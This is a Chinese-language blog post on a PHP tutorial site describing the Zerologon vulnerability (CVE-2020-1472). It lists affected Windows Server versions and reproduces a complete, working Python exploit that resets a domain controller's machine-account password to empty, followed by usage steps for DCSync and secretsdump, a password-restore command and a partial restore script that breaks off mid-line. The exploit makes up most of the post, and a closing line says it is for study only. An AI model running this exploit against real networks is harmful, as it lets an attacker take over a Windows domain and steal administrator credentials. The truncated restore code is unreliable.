0

0

CVE-2020-1472-poc-exp​

雪夜

雪夜

发布时间:2025-10-01 08:57:26

|

135人浏览过

|

来源于php中文网

原创

CVE-2020-1472-poc-exp​

“上个月,microsoft修复了一个非常有趣的漏洞,该漏洞使在您内部网络中立足的攻击者基本上可以一键成为domain admin。从攻击者的角度来看,所需要做的只是连接到域控制器”

漏洞背景

Secura的安全专家Tom Tervoort以前曾在去年发现一个不太严重的Netlogon漏洞,该漏洞使工作站可以被接管,但攻击者需要一个中间人(PitM)才能正常工作。现在,他在协议中发现了第二个更为严重的漏洞(CVSS分数:10.0)。通过伪造用于特定Netlogon功能的身份验证令牌,他能够调用一个功能以将域控制器的计算机密码设置为已知值。之后,攻击者可以使用此新密码来控制域控制器并窃取域管理员的凭据。

该漏洞源于Netlogon远程协议所使用的加密身份验证方案中的一个缺陷,该缺陷可用于更新计算机密码。此缺陷使攻击者可以模拟任何计算机,包括域控制器本身,并代表他们执行远程过程调用。

漏洞简介

NetLogon组件 是 Windows 上一项重要的功能组件,用于用户和机器在域内网络上的认证,以及复制数据库以进行域控备份,同时还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。

当攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的易受攻击的 Netlogon 安全通道时,存在特权提升漏洞。成功利用此漏洞的攻击者可以在网络中的设备上运行经特殊设计的应用程序。

受影响的版本

· Windows Server 2008 R2 for x64-based Systems Service Pack 1

· Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

· Windows Server 2012

· Windows Server 2012 (Server Core installation)

· Windows Server 2012 R2

· Windows Server 2012 R2 (Server Core installation)

· Windows Server 2016

· Windows Server 2016 (Server Core installation)

· Windows Server 2019

· Windows Server 2019 (Server Core installation)

· Windows Server, version 1903 (Server Core installation)

· Windows Server, version 1909 (Server Core installation)

剪映
剪映

一款全能易用的桌面端剪辑软件

下载

· Windows Server, version 2004 (Server Core installation)

攻击示例:

CVE-2020-1472-poc-exp​

使用方法

· 使用IP和DC的netbios名称运行cve-2020-1472-exploit.py

· DCsec与secretsdump,使用-just-dc-no-pass或空哈希以及DCHOSTNAME$帐户

cve-2020-1472-exploit.py代码语言:javascript代码运行次数:0运行复制
#!/usr/bin/env python3from impacket.dcerpc.v5 import nrpc, epmfrom impacket.dcerpc.v5.dtypes import NULLfrom impacket.dcerpc.v5 import transportfrom impacket import cryptoimport hmac, hashlib, struct, sys, socket, timefrom binascii import hexlify, unhexlifyfrom subprocess import check_call# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.MAX_ATTEMPTS = 2000 # False negative chance: 0.04%def fail(msg):  print(msg, file=sys.stderr)  print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)  sys.exit(2)def try_zero_authenticate(dc_handle, dc_ip, target_computer):  # Connect to the DC's Netlogon service.  binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')  rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()  rpc_con.connect()  rpc_con.bind(nrpc.MSRPC_UUID_NRPC)  # Use an all-zero challenge and credential.  plaintext = b'\x00' * 8  ciphertext = b'\x00' * 8  # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.  flags = 0x212fffff  # Send challenge and authentication request.  nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)  try:    server_auth = nrpc.hNetrServerAuthenticate3(      rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,      target_computer + '\x00', ciphertext, flags    )    # It worked!    assert server_auth['ErrorCode'] == 0    return rpc_con  except nrpc.DCERPCSessionError as ex:    # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.    if ex.get_error_code() == 0xc0000022:      return None    else:      fail(f'Unexpected error code from DC: {ex.get_error_code()}.')  except BaseException as ex:    fail(f'Unexpected error: {ex}.')def exploit(dc_handle, rpc_con, target_computer):    request = nrpc.NetrServerPasswordSet2()    request['PrimaryName'] = dc_handle + '\x00'    request['AccountName'] = target_computer + '$\x00'    request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel    authenticator = nrpc.NETLOGON_AUTHENTICATOR()    authenticator['Credential'] = b'\x00' * 8    authenticator['Timestamp'] = 0    request['Authenticator'] = authenticator    request['ComputerName'] = target_computer + '\x00'    request['ClearNewPassword'] = b'\x00' * 516    return rpc_con.request(request)def perform_attack(dc_handle, dc_ip, target_computer):  # Keep authenticating until succesfull. Expected average number of attempts needed: 256.  print('Performing authentication attempts...')  rpc_con = None  for attempt in range(0, MAX_ATTEMPTS):    rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)    if rpc_con == None:      print('=', end='', flush=True)    else:      break  if rpc_con:    print('\nTarget vulnerable, changing account password to empty string')    result = exploit(dc_handle, rpc_con, target_computer)    print('\nResult: ', end='')    print(result['ErrorCode'])    if result['ErrorCode'] == 0:        print('\nExploit complete!')    else:        print('Non-zero return code, something went wrong?')  else:    print('\nAttack failed. Target is probably patched.')    sys.exit(1)if __name__ == '__main__':  if not (3 <= len(sys.argv) <= 4):    print('Usage: zerologon_tester.py  \n')    print('Tests whether a domain controller is vulnerable to the Zerologon attack. Resets the DC account password to an empty string when vulnerable.')    print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')    sys.exit(1)  else:    [_, dc_name, dc_ip] = sys.argv    dc_name = dc_name.rstrip('$')    perform_attack('\\\\' + dc_name, dc_ip, dc_name)
请注意:

默认情况下,这会更改域控制器帐户的密码。是的,这允许您进行DCSync,但同时也会中断与其他域控制器的通信,因此请当心!

恢复步骤:

如果您确保secretsdump 中的这一行通过(if True:例如使它通过),secretsdump还将从注册表中转储纯文本(十六进制编码)计算机帐户密码。您可以通过在同一DC上运行它并使用DA帐户来执行此操作。

或者,您可以通过首先解压缩注册表配置单元然后脱机运行secretsdump来转储相同的密码(然后它将始终打印明文密钥,因为它无法计算Kerberos哈希,这省去了修改库的麻烦)。

使用此密码,您可以restorepassword.py使用-hexpass参数运行。这将首先使用空密码向同一DC进行身份验证,然后将密码重新设置为原始密码。确保再次提供netbios名称和IP作为目标,例如:

代码语言:javascript代码运行次数:0运行复制
python restorepassword.py testsegment/s2016dc@s2016dc -target-ip 192.168.222.113 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3...etc

restorepassword.py

代码语言:javascript代码运行次数:0运行复制
#!/usr/bin/env python# By @_dirkjan# Uses impacket by SecureAuth Corp# Based on work by Tom Tervoort (Secura)import sysimport loggingimport argparseimport codecsfrom impacket.examples import loggerfrom impacket import versionfrom impacket.dcerpc.v5.nrpc import NetrServerPasswordSet2Response, NetrServerPasswordSet2from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWEDfrom impacket.dcerpc.v5.rpcrt import DCERPCExceptionfrom impacket.dcerpc.v5.dtypes import NULLfrom impacket.dcerpc.v5 import transportfrom impacket.dcerpc.v5 import epm, nrpcfrom Cryptodome.Cipher import AESfrom binascii import unhexlifyfrom struct import pack, unpackclass ChangeMachinePassword:    KNOWN_PROTOCOLS = {        135: {'bindstr': r'ncacn_ip_tcp:%s',           'set_host': False},        139: {'bindstr': r'ncacn_np:%s[\PIPE\netlogon]', 'set_host': True},        445: {'bindstr': r'ncacn_np:%s[\PIPE\netlogon]', 'set_host': True},        }    def __init__(self, username='', password='', domain='', port = None,                 hashes = None, domain_sids = False, maxRid=4000):        self.__username = username        self.__password = password        self.__port = port        self.__maxRid = int(maxRid)        self.__domain = domain        self.__lmhash = ''        self.__nthash = ''        self.__domain_sids = domain_sids        if hashes is not None:            self.__lmhash, self.__nthash = hashes.split(':')    def dump(self, remoteName, remoteHost):        stringbinding = epm.hept_map(remoteName, nrpc.MSRPC_UUID_NRPC, protocol = 'ncacn_ip_tcp')        logging.info('StringBinding %s'%stringbinding)        rpctransport = transport.DCERPCTransportFactory(stringbinding)        dce = rpctransport.get_dce_rpc()        dce.connect()        dce.bind(nrpc.MSRPC_UUID_NRPC)        resp = nrpc.hNetrServerReqChallenge(dce, NULL, remoteName + '\x00', b'12345678')        serverChallenge = resp['ServerChallenge']        ntHash = unhexlify(self.__nthash)        # Empty at this point        self.sessionKey = nrpc.ComputeSessionKeyAES('', b'12345678', serverChallenge)        self.ppp = nrpc.ComputeNetlogonCredentialAES(b'12345678', self.sessionKey)        try:            resp = nrpc.hNetrServerAuthenticate3(dce, '\\\\' + remoteName + '\x00', self.__username + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,remoteName + '\x00',self.ppp, 0x212fffff )        except Exception as e:            if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0:                raise        self.clientStoredCredential = pack('

Github项目地址:

https://github.com/dirkjanm/CVE-2020-1472

参考:

https://www.freebuf.com/articles/system/249860.html

https://www.ddosi.com/b393/

为了安全请将工具放在虚拟机运行!

作者不易!请点一下关注再走吧!

此文章仅供学习参考,不得用于违法犯罪!

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
if什么意思
if什么意思

if的意思是“如果”的条件。它是一个用于引导条件语句的关键词,用于根据特定条件的真假情况来执行不同的代码块。本专题提供if什么意思的相关文章,供大家免费阅读。

780

2023.08.22

github中文官网入口 github中文版官网网页进入
github中文官网入口 github中文版官网网页进入

github中文官网入口https://docs.github.com/zh/get-started,GitHub 是一种基于云的平台,可在其中存储、共享并与他人一起编写代码。 通过将代码存储在GitHub 上的“存储库”中,你可以: “展示或共享”你的工作。 持续“跟踪和管理”对代码的更改。

1081

2026.01.21

windows查看端口占用情况
windows查看端口占用情况

Windows端口可以认为是计算机与外界通讯交流的出入口。逻辑意义上的端口一般是指TCP/IP协议中的端口,端口号的范围从0到65535,比如用于浏览网页服务的80端口,用于FTP服务的21端口等等。怎么查看windows端口占用情况呢?php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

810

2023.07.26

查看端口占用情况windows
查看端口占用情况windows

端口占用是指与端口关联的软件占用端口而使得其他应用程序无法使用这些端口,端口占用问题是计算机系统编程领域的一个常见问题,端口占用的根本原因可能是操作系统的一些错误,服务器也可能会出现端口占用问题。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

1129

2023.07.27

windows照片无法显示
windows照片无法显示

当我们尝试打开一张图片时,可能会出现一个错误提示,提示说"Windows照片查看器无法显示此图片,因为计算机上的可用内存不足",本专题为大家提供windows照片无法显示相关的文章,帮助大家解决该问题。

804

2023.08.01

windows查看端口被占用的情况
windows查看端口被占用的情况

windows查看端口被占用的情况的方法:1、使用Windows自带的资源监视器;2、使用命令提示符查看端口信息;3、使用任务管理器查看占用端口的进程。本专题为大家提供windows查看端口被占用的情况的相关的文章、下载、课程内容,供大家免费下载体验。

454

2023.08.02

windows无法访问共享电脑
windows无法访问共享电脑

在现代社会中,共享电脑是办公室和家庭的重要组成部分。然而,有时我们可能会遇到Windows无法访问共享电脑的问题。这个问题可能会导致数据无法共享,影响工作和生活的正常进行。php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

2355

2023.08.08

windows自动更新
windows自动更新

Windows操作系统的自动更新功能可以确保系统及时获取最新的补丁和安全更新,以提高系统的稳定性和安全性。然而,有时候我们可能希望暂时或永久地关闭Windows的自动更新功能。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

823

2023.08.10

C++ 设计模式与软件架构
C++ 设计模式与软件架构

本专题深入讲解 C++ 中的常见设计模式与架构优化,包括单例模式、工厂模式、观察者模式、策略模式、命令模式等,结合实际案例展示如何在 C++ 项目中应用这些模式提升代码可维护性与扩展性。通过案例分析,帮助开发者掌握 如何运用设计模式构建高质量的软件架构,提升系统的灵活性与可扩展性。

14

2026.01.30

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
React 教程
React 教程

共58课时 | 4.4万人学习

TypeScript 教程
TypeScript 教程

共19课时 | 2.6万人学习

Bootstrap 5教程
Bootstrap 5教程

共46课时 | 3.1万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号